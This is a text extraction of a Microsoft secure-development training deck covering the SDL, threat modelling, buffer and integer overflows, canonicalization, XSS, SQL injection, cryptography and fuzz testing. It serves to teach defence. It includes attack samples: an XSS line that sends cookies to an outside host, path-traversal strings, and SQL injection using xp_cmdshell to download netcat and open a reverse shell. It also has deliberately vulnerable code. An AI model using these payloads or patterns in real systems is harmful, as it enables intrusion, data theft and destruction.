basics of secure design, development, and test secure software made easier
TRANSCRIPT
Basics of Secure Design, Development, and TestSecure software made easier
<Date><Presenter>
Motivation• In this course, we will:
– Look at the Microsoft Security Development Lifecycle (SDL)
– Briefly review some secure design, development, and test concepts
– Explore the security issues that arise if these design, coding, and test principles are not properly applied
• This will provide you with information that you can use to make your software more secure
Agenda• Microsoft Security Development Lifecycle (SDL) overview• Module 1: Secure Design
– Attack Surface Reduction– Threat Modeling
• Module 2: Secure Development– Buffer overflows– Integer arithmetic errors– Canonicalization issues– Managed Code: Cross-site scripting (XSS)– Managed Code: SQL injection– Cryptography– Code Review
• Module 3: Security Testing– Fuzz Testing
Microsoft Security Development Lifecycle
(SDL)
Working to protect our users…
Education
Accountability
Administer and track security training
IncidentResponse (MSRC)
Establish release criteria and sign-off
as part of FSR
Ongoing Process Improvements
Process
Guide product teams to meet SDL requirements
Very Encouraging Results!
Windows® XP
Windows Vista®
OS I OS II OS III
11966
400
242
157
Total Vulnerabilities Disclosed 12 Months After Release
SQL Server® 2000 SQL Server 2005 Competing commercial DB
34
3
187Total Vulnerabilities Disclosed 36 Months After Release
Before SDL After SDL
45% reduction in Vulnerabilities
Before SDL After SDL
91% reduction in Vulnerabilities
Consistent application of sound security practices during all phases of a development project will result in fewer vulnerabilities
Still Much to Be Done: The Pain of "Blaster"• Two lines of C code in RPCSS
• while (*pwszTemp != L'\\')*pwszServerName++ = *pwszTemp++;
• Led to– >1,500,000 infected computers – 3,370,000 Product Support Services (PSS) calls in
September 2003 (normal virus volume is 350,000)– Plenty of negative commentary
• " This [is] going to raise the level of frustration to the point where a lot of organizations will seriously contemplate alternatives to Microsoft" Gartner
• "There's definitely caution warranted here. [Microsoft's security] efforts were sincere, but I am not sure if they were sincere enough" Forrester
The Horrible Truth• No matter how much effort we expend, we
will never get code 100 percent correct– This is an asymmetric problem
• We must be 100 percent correct, 100 percent of the time,on a schedule, with limited resources, only knowing whatwe know today– Oh, and the product has to be reliable, supportable,
compatible, manageable, affordable, accessible, usable, global, doable, deployable…
• They can spend as long as they like to find one bug,with the benefit of future research
• We’re human and our tools are far from perfect
• There’s still a business case for improving security now
The Horrible Truth (continued)
• Tools make it easy to build exploit code
• Reverse engineering tools• Structural Comparison of Executable Objects, Halvar
Flake– http://www.zynamics.com/downloads/
dimva_paper2.pdf– PCT Bug: "Detecting and understanding
the vulnerability took less than 30 minutes"– H.323 ASN.1 Bug: "The total analysis took
less than three hours time"
• Exploit payloads• www.metasploit.com
Choose your ‘sploitEnter some details…
Here’s the ‘sploit code!
The Horrible Truth (concluded)
• Don't be a statistic:A worm or serious vulnerability in any major product can have devastating impact to you and your users
• In general:– Cost for attacker to
build attack is very low– Cost to your users is
very high– Cost of reacting is
higher than cost of defending
Module 1: Secure Design
Attack Surface Reduction (ASR)
Module 1: Secure Design
The Attack Surface Reduction Process• Look at all of your entry points
– Network I/O– File I/O
• Rank them– Authenticated versus anonymous– Administrator only versus user – Network versus local– UDP versus TCP
Watch Out for Fanout!
−For example, JPG, MSH, or GIF
File formats
−SSL2, SSL3, TLS, PCT
Subprotocols
−HTTP• Classic
GET, POST, HEAD, DELETE
• WebDAVPROPPATCH, PROPFIND, MOVE, LOCK
−SMTP• HELO, EHLO,
MAIL, RCPT−Queries
• Extended sprocs and sprocs
Verbs
It’s Not Just About Turning Stuff Off!
Higher Attack Surface Lower Attack Surface
Executing by default Off by default
Open socket Closed socket
UDP TCP
Anonymous access Authenticated access
Constantly on Intermittently on
Admin access User access
Internet access Local subnet access
SYSTEM Not SYSTEM!
Uniform defaults User-chosen settings
Large code Small code
Weak ACLs Strong ACLs
ASR Examples
− Authenticated RPC− Firewall on by default
Windows
Internet Information Services version 6 (IIS6)
− Off by default− Network service by
default− Static files by default
− xp_cmdshell off by default
− CLR and COM off by default
− Network service
SQL Server 2005
− Web server localhost only− SQL Server Express localhost only
Visual Studio® 2005
Attack Surface Reduction is as important as trying
to get the code right
Threat Modeling
Module 1: Secure Design
Threat Analysis• Secure software starts with understanding the
threats
• Threats are not vulnerabilities
• Threats live forever; they are the attacker's goal
Threat
Mitigation
Vulnerability
Attacker
VisionModel
Identify Threats
Mitigate
Validate
The Process in a Nutshell
Whiteboard Your Architecture• Start with person, processes, data flows, data stores
– Unique shape per item– Data flows should be one way each– Label them with data, not read/write
• Draw attack surfaces/trust boundaries
• Tell a story to see if your picture is ok
Data Flow
• Function call• Network
traffic• Remote
Procedure Call(RPC)
• People• Other
systems• Microsoft.co
m
External
Entity• DLLs• EXEs• COM object• Component
s• Services• Web
Services• Assemblies
Process
• Database• File• Registry• Shared
Memory• Queue /
Stack
Data Store
• Process Boundary
• File system
Trust Boundar
y
S T R I D E
P P
P P P P P P
P P P P
P P P
Find Threats: Use STRIDE per Element• Start with items connected to
dangerous data flows (those crossing boundaries)
• Use the chart to help you think of attacks
• Keep a running list
Process
Data
Flow
Data Store
External
Entity
Threat Property Definition ExampleSpoofing Authentication Impersonating
something or someone else.
Pretending to be any of billg, microsoft.com or ntdll.dll
Tampering Integrity Modifying data or code
Modifying a DLL on disk or DVD, or a packet as it traverses the LAN.
Repudiation Non-repudiation Claiming to have not performed an action.
“I didn’t send that email,” “I didn’t modify that file,” “I certainly didn’t visit that web site, dear!”
Information Disclosure
Confidentiality Exposing information to someone not authorized to see it
Allowing someone to read the Windows source code; publishing a list of customers to a web site.
Denial of Service Availability Deny or degrade service to users
Crashing Windows or a web site, sending a packet and absorbing seconds of CPU time, or routing packets into a black hole.
Elevation of Privilege
Authorization Gain capabilities without proper authorization
Allowing a remote internet user to run commands is the classic example, but going from a limited user to admin is also EoP.
Understanding the STRIDE Threats
Mitigation Techniques
Threat Mitigation Feature
Spoofing Authentication
Tampering Integrity
Repudiation Nonrepudiation
Information Disclosure Confidentiality
Denial of Service Availability
Elevation of Privilege Authorization
Mitigating Your Threats• For each threat, decide how to stop it
– Redesign and eliminate– Use standard threat mitigations– Invent new mitigation (not recommended!—seek help)– Accept risk in accordance with SDL bug bar
• File a work item in your bug tracking DB– Treat threats as bugs, mitigations as features
Validate• Check threat model diagrams
– Do they match the design docs or code?
• Check your bug DB work items are all – Closed as completed– QA’d
Context Diagram Services for Macintosh
Services for
Macintosh
User
Admin
AdminSettings
LoggingInfo
and results
File operations
Fileresult
Diagrams Should Not Resemble• Flow charts
• Class diagrams
• Call graphs
Determining Threat Types
Each elementin the Data Flow Diagram (DFD)is susceptibleto one or morethreat types
1.05.0
2.0.
3.0
4.0
10.0 8.0
6.0
11.0 9.0
7.0STRID
E
STRIDE
STRIDE
TID
TID
TID
TID
SR
SR
TID
TID
DFD Elements Are Threat Targets: A “Work List”
Each threat isgoverned by the conditions whichmake the threatpossible
Data Flow S T R I D E1à5 P P P5à6 P P P6à7 P P P7à8 P P P
Data Store7 P P P9 P P P11 P P P
Interactor1 P P2 P P8 P P
Process3 P P P P P P4 P P P P P P5 P P P P P P6 P P P P P P10 P P P P P P
Each is a potential threatto the system
A Special NoteAbout Information Disclosure Threats
All information disclosure threats
are potential privacy issues
Is the data sensitive or PII?
Call to Action• Threat model something
– Like your program!– If you’re stuck, threat model a different program
• Go breadth-first
• Have fun
• Seek more intensive training– "Introduction to Threat Modeling"
No design is complete without a threat model!
Follow anonymous data paths
Every threat needs a security test planCheck all information
disclosure threats – are they
privacy issues?
Threat Model Checklist
threat
software
vuln
Summary• Defined the SDL
• Described the Attack Surface Reduction process with some examples of its positive impact
• Explained the importance of threat models and described the use of DFDs and threat trees during the threat modeling process
Question 1:
Which of the following is an example of low attack surface?
A. User-controlled settings
B. Weak ACLs
C. Internet access
Question 2:
Information disclosure is causedby a breach of…?
A. Privacy
B. Security
C.Both
Question 3:
Which mitigation technique can be used to protect against the STRIDE spoofing threat?A. Integrity
B. Authentication
C.Availability
D.Authorization
Module 2: Secure Development
Buffer Overflows
Module 2: Secure Development
What Are Buffer Overflows (BOs)?• External data is larger than the destination
• Overflowing the destination tramples some sensitive, in-memory construct that determines execution flow– Causing the application to change execution flow – To the attacker’s code that is included in the data
• Cause: Trusting input
• C/C++ code the most common victim
• Direct access to memory
void func(char *p, int i) {int j = 0;CFoo foo;int (*fp)(int) = &func;char b[128]; strcpy(b,p);}
Stack Buffer Overflows at Work
EBPBuffers Other vars EIP Args
0wn3
d!
Bad things happen if *p points to data longer than b
Function return address
Exception HandlersFunction Pointers
Virtual Methods
All determine execution
flow
Buffer Overflow ExamplesSQL Server Instance Resolution (MS02-039)
#define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\"#define MAX_RECV_MSG 256
void SsrpSvr(LPSTR szInstanceName) { BYTE rgbRecvBuf[MAX_RECV_MSG]; ... ssrpMsg = SsrpRecvMsg(rgbRecvBuf);
switch(ssrpMsg) { case CLNT_UCAST_INST: // Verb #4 SsrpEnum((LPSTR)&rgbRecvBuf[1]);}
SSRPMSGTYPE SsrpRecvMsg(BYTE *rgbRecvBuf) { ... bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclientAddr, &cClientAddr );
return((SSRPMSGTYPE)rgbRecvBuf[0]);}
BOOL SsrpEnum(LPSTR szInstName, ...) { char szregVersion[128]; sprintf(szregVersion,"%s%s\\MSSQLServer\\CurrentVersion",INSTREGKEY,szInstName);
Read no more than 256 bytes from the network
Then copy into a 128-byte buffer
Sitting on port 1434—The Internet
Heap Block
Heap Overflows at Work
Heap BlockHeap Block
Write a DWORDanywhere in memorywhen block is free()’d
0wn3d!
On block free:D1 [A1]D2 [A2]
Pointer to next block
Pointer to prior block
A1 D1 A2 D2
Zotob (PnP Code)
CONFIGRETResDesToNtResource( IN PCVOID ResourceData, IN RESOURCEID ResourceType, IN ULONG ResourceLen, IN PCM_PARTIAL_RESOURCE_DESCRIPTOR pResDes, IN ULONG ulTag ){ case ResType_ClassSpecific: { PCS_RESOURCE pCsData = (PCS_RESOURCE)ResourceData; LPBYTE ptr = NULL; ptr = (LPBYTE)((LPBYTE)pResDes + sizeof(CM_PARTIAL_RESOURCE_DESCRIPTOR)); memcpy(ptr, pCsData->CS_Header.CSD_Signature + pCsData->CS_Header.CSD_LegacyDataOffset, pCsData->CS_Header.CSD_LegacyDataSize);
Amount of data to copy iscontrolled by the attacker
Sitting on port 445—the Internet
The 'n'-Functions Are Safe? Right?!
// Example #1 (code verifies pszSrc is <= 50 chars)#define MAX (50)char *pszDest = malloc(sizeof(pszSrc));strncpy(pszDest,pszSrc,MAX);
// Example #2#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,MAX);
// Example #3#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,strlen(pszSrc));
Wrong buffer size!
sizeof is 4 bytes, not 50
String not null-terminatedif len(pszSrc) >= MAX
The 'n'-Functions Are Safe? Right?!
// Example #4#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,MAX);pszDest[MAX] = '\0';
// Example #5#define MAX (50)char szDest[MAX];strncpy(szDest,pszSrc,MAX-1);strncat(szDest,pszSrc,MAX-1);
MAX-1 is not the total destination buffer size!
Wrote NULL to element51, not 50!
The 'n'-Functions Are Safe? Right?!
// Example #6char szDest[50];_snprintf(szDest,
strlen(szDest),
"%s",szSrc);
You should always use safe variants of the str calls: str*_s
// Example #7void func(char *p) { char szDest[MAX]; strncpy(szDest,p,MAX); szDest[MAX-1] = '\0';}
szDest contains junk!strlen(szDest) is random!
What if p == NULL?
Fixing Buffer
Overflows
Search for "risky"
functions and
determine data origin
/GS, NX, ASLR and
heap checking
Better libraries and
classes(strsafe,Safe CRT, STL)
Fuzz tests
Reduce attack surface
/analyze and SAL
Memory Defenses• Stack BO detection (aka /GS, enabled
by default in VC++ 2008)– Detects some stack-based overruns– Rearranges the stack so buffers are in higher
memory (helps protect variables)– Moves various arguments to lower memory
• Exception handler protection (aka /SafeSEH, enabled by default in VC++ 2008 linker)– Exception addresses are verified at runtime
Memory Defenses• Data Execution
Protection (aka NX/XD, enabled by default†)– Harder to execute date
• In Windows Vista, DEP cannot be disabled once turned on process
† Most CPUs today support DEP, but make sure it's enabled in the BIOS
Memory Defenses• Heap defenses (all enabled by default)
– Lookasides gone– Arrays of free lists gone– Early detection of errors due to block header integrity
check • ENTRY->Flink->Blink == ENTRY->Blink->Flink ==
ENTRY
• Use HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0)
• Integer overflow calling operator::new automatically detected at runtime (by default)
Memory Defenses• Image randomization (ASLR)
– System images are loaded randomly into 1 of 256 'slots'– Changes on each boot– To be effective ASLR requires DEP– Enabled by default– Link with /dynamicbase for non-system images
• Stack is randomized for each new thread (by default)
• Heap is randomized (by default)
• Long-lived pointers are encodedand decoded– A successful pointer overwrite must survive the decoding
process (XOR with a random number)– Use Encode[System]Pointer and Decode[System]Pointer
Defenses Summary• Mandatory use of compiler security options
– /GS flag (runtime stack BO detection)– /SafeSEH (runtime exception checking)– /NXCompat (NX support)– /DynamicBase (ASLR support)– /robust switch for MIDL compiler
Integer Arithmetic Errors
Module 2: Secure Development
Integer Arithmetic Attacks• Integer arithmetic is a generic name for a
set of common integer arithmetic mistakes– Overflow and underflow – Signed versus unsigned errors – Truncation
• They can lead to attacker control of program flow
Integer Arithmetic Attacks
int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2){
char buf[0xFF];
if((len1 + len2) > 0xFF) return -1;
memcpy(buf, buf1, len1); memcpy(buf + len1, buf2, len2);
// do stuff with buf
return 0;}
len1len2
0x103+ 0xFFFFFFFC
0xFF
Both memcpy functionsattempt to copy >255 bytes
Integer Overflow AttacksGDI+ JPG Rendering (MS04-028)
BOOL GpJpegDecoder::read_jpeg_marker(IN j_decompress_ptr cinfo,IN SHORT app_header,OUT VOID **ppBuffer,OUT UINT16 *pLength ) {
VOID *pBuffer;UINT16 length;
INPUT_VARS(cinfo);INPUT_2BYTES(cinfo, length, return FALSE);
*pLength = length+2;pBuffer = GpMalloc(length+2);
...
INT len = length - 2;
...
GpMemcpy(p, cinfo->src->next_input_byte, len);
0xFFFE + 0x02 == 0x00
0xFFFFFFFE - 0x02 == 0xFFFFFFFC
Integer Overflow AttacksCustom Memory Allocations
#define _BLOCKSIZE 64
void *_MemAlloc(size_t cb) { // Round to nearest block size size_t cbr = (cb + _BLOCKSIZE - 1) & ~(_BLOCKSIZE – 1); return malloc(cbr);}
If cb = 0xffffffff, then cbr == 0
Unmanaged Code Interop Issuespublic int CopyData(byte[] inputBuffer, int inputOffset, int inputCount, byte[] outputBuffer) { if (inputOffset >= inputBuffer.Length)
throw new Exception();
if (inputCount > inputBuffer.Length)throw new Exception();
if (inputOffset + inputCount < inputOffset)throw new Exception();
if (inputBuffer.Length < inputOffset + inputCount)throw new Exception();
_UnmanagedCopy(..., inputBuffer, inputOffset, inputCount);
_UnmanagedCopy(..., BYTE *inputBuffer, DWORD inputOffset, DWORD inputCount) {
memcpy(pb, inputBuffer + inputOffset, inputCount); ...}
C++
C#
All the checks areagainst signed ints
0xFFFFFFFF
-1
Standard Annotation Language (SAL)• Defines interface contracts
• Helps tools find bugs
• Annotate your headers using SAL– Used by latest PREfast
• References– SAL Annotations: C Run-Time Library Reference
http://msdn.microsoft.com/en-us/library/ms235402.aspx
– A Brief Introduction to the Standard Annotation Language (SAL) http://blogs.msdn.com/michael_howard/archive/2006/05/19/602077.aspx
Standard Annotation Language (SAL)
• Informs compiler that Buffer is BufferSize WCHARs
• It's an out parameter, so it does not need initializing(else _In_out_)
• NULL is not valid (else _opt)
DWORDWINAPIBluetoothGetServicePnpInstance( BLUETOOTH_ADDRESS * pDeviceAddress , GUID * ServiceGuid , ULONG InstanceId , _Out_cap_(BufferSize) WCHAR * Buffer , ULONG BufferSize , HKEY * phKey );
Remedy: Integer Arithmetic• Any calculation used to determine an array
offset or memory allocation is suspect
• Use unsigned variables for array indexes and buffer sizes
• Ints are signed in Managed Code
• Watch out for: – C4018 and C4389 compiler warnings
(signed and unsigned mismatch)– C4244 compiler warnings (conversion from "type1" to
"type2"; possible loss of data)– #pragma and casts that shut the compiler up!
Remedy: Integer Arithmetic
#define MAX_ALLOC (1024*1024*4)if (num <= (MAX_ALLOC/sizeof(T))){ T *p = malloc(num * sizeof(T));
}
size_t cb = num * sizeof(T);T *p = malloc(cb); T *p = new T[num];
size_t cb = num * sizeof(T);if (num == cb/sizeof(T)) { T *p = malloc(cb);}
// Howard (C/C++ IntOverflow.h)if (UMul(num,sizeof(T),&cb)) {T *p = malloc(cb);}
// LeBlanc (C++ SafeInt.hpp)SafeInt<size_t>cbFoo(sizeof(T));SafeInt<size_t>cb = cbFoo * num;T *p = malloc(cb)
// Windows C/C++ sdk/inc/intsafe.h // and ddk/inc/ntintsafe.hif (SUCCEEDED(SizeTMult(num,sizeof(T),&cb))) T *p = malloc(cb);}
Just fix 'em!Build defensive code and add defensive layers (like /GS)
Use the latest version of VC++ /GSUse safer string libraries
Use /analyze and SALAll arithmetic used to
calculate memory allocations
is probably wrong!
BO / IA Checklist
Canonicalization Issues
Module 2: Secure Development
Canonicalization Issues• Never make a security decision based on
the name of something– Chances are good that you’ll get it wrong– Often, there is more than one way to name something
if (String.Compare(username,@"ntdev\mikehow",true)==0 && String.Compare(filename,@"secretfile.txt",true)==0)
// go away
Canonicalization Issues: Example 1
SecretFile.txt
SecretFile.txt.
Secret~1.txt
SecretFile.txt::
$DATA
Canonicalization Issues: Example 2http://contoso.com/foo/home.aspx
http://contoso.com/foo/HOME.ASPX
http://contoso.com/foo/../foo/home.aspx
http://contoso.com/foo/./home.aspx
http://207.46.197.32/foo/home.aspx
http://3435386042/foo/home.aspx
http://contoso.com./foo/home.aspx
http://contoso.com/foo/%67ome.aspx
http://contoso.com/foo/%c0%ae/
home.aspx
http://contoso.com/foo/%u0067ome.aspx
http://contoso.com/foo/%FF48.aspx
http://contoso.com/foo/%2567ome.aspx
Canonicalization Issues: Example 3
http://www.example.com/prn/default.asp
http://www.example.com/aux.asp
Managed Code:Cross-Site Scripting (XSS)
Module 2: Secure Development
Cross-Site Scripting (XSS)• Very common vulnerability
• An issue in a Web server leads to a compromised client (and more)
• The fault is simply trusting input and then echoing it!
XSS in Action: Cookie Stealing
Welcome.aspHello,<%= request.querystring(′name′)%>
<a href=http://www.humongousinsurance.com/welcome.asp?name=<script>document.write (′<img src=″http://gotcha.com/″%2bdocument.cookie%2b>′)</script>here</a>
XSS in Action: "Defacement" /location=<script>document.images[4].src=
"http://www.badsite.com/news.jpg"</script>
Crystal Reports Vulnerability MS04-017public class CrystalImageHandler : WebControl {
private string tmpdir = null; protected override void Render(HtmlTextWriter writer) { string filepath; string dynamicImage = (string)Context.Request.QueryString.Get("dynamicimage"); if (tmpdir == null) { tmpdir = ViewerGlobal.GetImageDirectory(); } filePath = tmpdir + dynamicImage; FileStream imagestream = new FileStream (filePath, FileMode.Open, FileAccess.Read);
// stream file to user
File.Delete (filePath); }}
(1) Get filename from querystring
(2) Open file
(4) Delete file!
crystalimagehandler.aspx?dynamicimage=..\..\boot.ini
(3) Stream file to user
Remedies: XSS• Validate all input
• Never directly echo Web-based user input– At the very least, HTML encode the output– ASP.NET 1.1 adds the ValidateRequest option– Use AntiXSS
• Use HttpOnly cookie option– Prevents access to client-side script in IE6 SP1 and later
(used by Hotmail)
• Use <frame> security attribute– Supports Internet Explorer security zone settings
Managed Code: SQL Injection
Module 2: Secure Development
SQL Injection: C#string Status = "No";string sqlstring ="";try { SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes";} catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; }} catch (Exception e) { Status = e.ToString();}
Hard to guess password!
Connecting as sysadmin
String concatfor dynamic SQL
Telling the bad guytoo much on failure
Why It's Wrong (1 of 3)
Good Guy
SELECT HasShippedFROM Shipment WHERE ID='1001'
Not So Good Guy
SELECT HasShippedFROM Shipment WHERE ID= '1001' or 2>1 -- '
sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'";
Why It's Wrong (2 of 3)
Really Bad Guy
SELECT HasShipped FROM Shipment WHERE ID= '1001' ; drop table orders -- '
sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'";
Downright Evil Guy
SELECT HasShipped FROM Shipment WHERE ID= '1001’ ; exec xp_cmdshell('...') -- '
Why It's Wrong (3 of 3) Your Worst Nightmare!
nc.exe -l -p 31337
exec xp_cmdshell 'tftp -i 63.45.11.9 GET nc.exe c:\nc.exe'
exec xp_cmdshell 'c:\nc.exe -v -e cmd.exe 63.45.11.9 31337'
0wns 63.45.11.9
Remedy: Do Not Trust User Input• Validate all input
– All input is evil until proven otherwise– Look for data that matches the expected use, and reject everything else– http://www.contoso.com/pwnme.html is
• a valid URL…• …On a non-existant server…• …Which you likely don’t want to visit
• Constrain, reject, and sanitize– Type checks (for example, numeric only)– Length checks (for example, buffer must be < n bytes)– Range checks (for example, A-Z a-z)– Format checks (for example, e-mail name)
Validator.ValidationExpression = ”^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$";
Remedies: SQL Injection• Validate all input
• Use parameterized queries
• Consider allowing access to sprocs and not allowing access to underlying tables
• Use parameterized queries with sprocs
SqlDataAdapter cmd = new SqlDataAdapter("exec sp_getshipstatus(@id)",
conn);SqlParameter parm = cmd.SelectCommand.Parameters.Add("@id",id);
Do not look only for "bad things";it assumes you know all the "bad things"
; deldeleteete from table; deldeleteete from table
All input is evil!!!!!Don't look for "bad" things!
Input Error Checklist
Cryptography
Module 2: Secure Development
Storing Secrets• Software cannot defend itself, therefore:
– Storing secrets securely in software is impossible!– Embedded "secrets" don't stay secret for long
Storing Secrets• DPAPI is the required method
– Easy access to platform-provided cryptography
• Crypt[Un]ProtectData – Managed wrappers available
pre-.NET 2.0– .NET 2.0 adds ProtectedData class
• Introduced in Windows 2000
• Preferable to Local Security Authority (LSA) secrets
Weak Crypto• Don’t create your own crypto algorithms
– Use CryptoAPI, CAPICOM, and System.Security.Cryptography
• MD4, MD5, RC4, DES, and SHA1banned for new code
• AES and SHA256 okay
Code Review
Module 2: Secure Development
Managed Code Issues• Code Access Security
(CAS) != Secure Code!• Be wary of granting
certain permissions to your code– SecurityPermission,
UnmanagedCode, SkipVerification, ControlEvidence, and ReflectionPermission
• Run FxCop or /analyze regularly
• Read Secure Coding Guidelines on MSDN– Managed Code:
http://msdn2.microsoft.com/en-us/library/ms998408.aspx
– Native Code: http://msdn2.microsoft.com/en-us/library/k3a3hzw7(VS.80).aspx
• View ".NET Framework Security Best Practices":http://msdn2.microsoft.com/en-us/ security/aa570406.aspx
Audit Extensively: LinkDemand• Unlike a Demand, does not perform a full
run-time stack-walk
• Checks the immediate caller during JIT compile
ReadFile ReadFile
FileIOPermission?
FileIOPermission?
FileIOPermission?
Demand LinkDemand
Yourcode
Audit Extensively: Partial Trust• AllowPartiallyTrustedCallersAttribute
– [assembly:AllowPartiallyTrustedCallers]
• APTCA == "bring it on, hax0rs!"
• Applies to strong-named assemblies
• Disables LinkDemand:FullTrust
• Allows code from the Internet to call your code– Is that what you really want?
• Managed C++ and APTCA don’t mix
Audit Extensively: Asserts• Are your protected actions safe?
• Note: Your code must be granted the permission you are asserting and have permission to assert
ReadFile
FileIOPermission?
FileIOPermission?
AssertFileIOPermission
ReadFile
Audit Extensively: Asserts
[FileIOPermission(SecurityAction.Assert)]public void CreateLogFile(string log) { StreamWriter TextStream = new StreamWriter(log);
}
[FileIOPermission(SecurityAction.Assert, All=@"C:\logs\Log.txt")]public void CreateLogFile() { StreamWriter TextStream = new StreamWriter(@"C:\logs\Log.txt");
}
Audit Extensively• P/Invoke and COM Interop
• Your gateway to buffer overflows!
Audit Extensively• Readonly isn’t read-only!
static readonly byte[] keysizes = new byte[] {64,112,128,160,196};static void Main(string[] args) { keysizes[1] = 8;}
Don’t Forget Managed Code Integer Arithmetic Bugs
Int16 i = getFromNetwork();if (i <= MAX) {
i++;Int32 j = 8192 / i;
}
Int16 req;...while (true) { getRequest(); req++; arr[req] = DateTime.Now;}
Summary• Demonstrated how failing to
validate input can cause security issues, such as buffer overflows, XSS, and SQL injection
• Demonstrated how these issues can be eliminated by creating secure code with examples
• Explained the importance of code reviews in creating secure code
Question 1:
Which security issue is most likely to impact C/C++ code?
A. SQL injection
B. Buffer overflows
C.Cross-site scripting
Question 2:
Which bug type is exacerbatedby using signed integers?
A. Cross-site scripting
B. Buffer overflows
C.SQL injection
D.Integer arithmetic errors
Question 3:
Which of the following results in canonicalization vulnerability?
A. Trusting an input value based on its name
B. Echoing input directly in Web-based output
C.Performing an incorrect integer arithmetic operation on the input
Question 4:
Which of the following is notan immediate impact of XSS attacks?
A. Web-site defacement
B. Remote code execution on the server
C.Cookie theft
Question 5:
Which security issue can be mitigatedby using parameterized queries?A. Cross-site scripting
B. Buffer overflow
C.SQL injection
Module 3: Security Testing
Security TestingActualsoftwarefunctionality
Unintended,undocumented,or unknown functionality
Traditionalfaults
Intendedfunctionality
No authenticatio
n
Missing defenses
Weak authenticatio
n
Poordefenses
Buffer overflow in
authentication
Extra“functionality
”
What Is Fuzzing?• Randomized application
of malformed data in a search for vulnerabilities
• Distinguishing characteristics– Methodical – Random values– Explicit search for
vulnerabilities / reliability failures
– Large number of test cases – Expected outcome: It does
not fail– Does not fit neatly into
typical test case development
• Coined by Bart Miller, An Empirical Study of the Reliability of UNIX Utilities (Miller, Fredriksen and So, 1990)
• Critics might call it a shotgun approach, but shotguns are more useful than rifles or lasers in many applications
How to Fuzz• Tools! Tools! Tools!
• Determine all of the entry points to your code– Network ports and protocols– Files and file types
• Rank them by privilege level and accessibility– Anonymous, user, and admin– Remote and local
Attackers Are Unconstrained• Rule #1: There are no rules
– Attacks by admins are uninteresting
• If you provide a client to access the server, don’t use it!– Mimic the client in code
• If you rely on a specific service,build a bogus one
Fuzz Across Trust Boundaries• Look for privilege elevation boundaries
• Pushing data from low-privilege tohigh-privilege process
SYSTEM Everyone: Write
Admin: Full ControlEveryone: Read
Build fuzzers for all consumed resources (such as files or net protocols)
Tools! Tools! Tools!SDL Fuzzing requirements coverFilesRPC endpointsACtiveX ControlsGeneralized network
fuzzing is probably the next step
Security Testing Checklist
Fuzz!
Question:
Which of the following is nota characteristic of fuzz testing?
A. It is an explicit search for vulnerabilitiesor reliability failures
B. It involves a large number of test cases, which are not individually compelling
C. It is exploratory, as opposed to methodical
D.Its expected outcome is does not fail
Overall Summary
The SDL integrates security activities in all of the phases of product development
Activities such as attack surface reduction and threat modeling are part of the secure design
phase
Input validation is a very important secure coding principle; failure to do so results in serious security
issues
Code reviews in the verification phase helps to ensure that coding errors that result in security and privacy bugs are
detected and fixed
Security testing—particularly fuzz testing—helps expose errors that may introduce security
vulnerabilities
Learning More• Training
– "Introduction to the Microsoft Security Development Lifecycle"
– "Introduction to Threat Modeling"– "Privacy in Software Development"
• Books– The Security Development Lifecycle: SDL:
A Process for Developing Demonstrably More Secure Software (Howard, Lipner, 2006) "Threat Modeling" chapter
– Writing Secure Code, Second Edition (Howard, LeBlanc, 2002)
SDL Portal http://www.microsoft.com/sdl
SDL Blog http://blogs.msdn.com/sdl/
SDL Process on MSDN(Web)
http://msdn.microsoft.com/en-us/library/cc307748.aspx
SDL Process on MSDN(MS Word)
http://www.microsoft.com/downloads/details.aspx?FamilyID=d045a05a-c1fc-48c3-b4d5-b20353f97122&displaylang=en
Resources
Questions?
© 2008 Microsoft Corporation. All rights reserved. Microsoft, Windows, Windows Vista and other product names are or may be registered trademarks and/or trademarks in the U.S. and/or
other countries. The information herein is for informational purposes only and represents the current view of Microsoft Corporation as of the date of this presentation. Because Microsoft
must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information
provided after the date of this presentation. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS PRESENTATION.